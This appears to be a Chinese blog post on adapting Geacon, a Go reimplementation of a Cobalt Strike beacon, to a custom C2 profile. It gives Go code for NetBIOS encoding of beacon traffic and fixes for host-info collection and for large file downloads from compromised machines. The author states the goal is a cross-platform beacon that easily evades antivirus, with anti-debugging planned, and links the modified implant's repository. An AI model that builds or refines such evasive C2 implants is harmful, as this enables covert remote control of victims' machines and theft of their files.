0x01 netbios加解密
因为我也才学golang,基本面向github编程,在网上只找到python版加解密的方式,所以需要翻译成go语言。通过正则匹配加密传输的内容,解密执行获取cmdtype对应的操作,然后加密发送。
编写加密代码:
func NetbiosEncode(data []byte) string{
q := ""
for _,value := range data{
q += string((int(value)>>4) + int('a'))+string((int(value)&0xf + int('a')))
}
return q
}
最终成功上线如下,能够看见心跳包与执行命令都是正常的,说明加解密是没问题的:
0x02 项目优化
因为上线后,显示如下,开始我以为是CS显示问题,后来发现是代码实现问题:
computer 与 prcoess 都不能正确获取,我们定位到sysinfo文件夹下meta.go文件,其中实现了收集beacon所在机器基本信息。
BUG-1:获取进程名
func GetProcessName() string {
processName := os.Args[0]
//fmt.Printf("processName: %v\n", processName)
// C:\Users\admin\Desktop\cmd.exe
// ./cmd
slashPos := strings.LastIndex(processName, "\\")
if slashPos > 0 {
return processName[slashPos+1:]
}
backslashPos := strings.LastIndex(processName, "/")
if backslashPos > 0 {
return processName[backslashPos+1:]
}
return "unknown"
}
这里原作者想到的是,带路径的执行参数,但是经过我测试,os.Args[0]获取到的就是当前exe名称,并不是一个绝对路径,如果是绝对路径可以通过下面判断截取EXE名。这里修改也简单,直接return processName就正常了。
BUG-2:获取机器名
func GetComputerName() string {
sHostName, _ := os.Hostname()
fmt.Printf("sHostName: %v\n", sHostName)
// message too long for RSA public key size
if len(sHostName) > 10 {
sHostName = sHostName[1 : 10-1]
}
if runtime.GOOS == "linux" {
sHostName = sHostName + " (Linux)"
} else if runtime.GOOS == "darwin" {
sHostName = sHostName + " (Darwin)"
}
return sHostName
}
这里机器名不能全部显示,确实跟他注释的原因一样,但是经过我测试发现,最长可以使用sHostName[0 : 14]切片。
BUG-3: 不能下载大的文件
当使用download 下载命令时,小文件可以下载,但是略微大的文件会出现如下报错:
经过多次调试实验发现,以下语句有问题(我这里通过BP抓包发现的):
fileBuf := make([]byte, 512*1024)
他默认一次传输512kb数据,可是在header中如果数据过长会提示:BAD REQUEST: header length is too large
所以这里很简单,我们就一次传小点,比如2kb。重新编译就上线:
0x03 总结
到这里,整个CS beacon适用自定义profile的开发流程就介绍完毕了,优化了原程序BUG,当然还有其他很多可以优化的地方。这个项目Geacon只实现了最基本功能,不像原生beacon那么多样,你就可以使用golang实现某些CS功能,比如execute-assembly,判断cmdtype就行。因为我的需求是CS跨平台的beacon,容易免杀(golang也有一些免杀的trick),后面还可以添加反调试的功能。项目地址:https://github.com/Nan3r/geacon_apt
发表评论
您还未登录,请先登录。
登录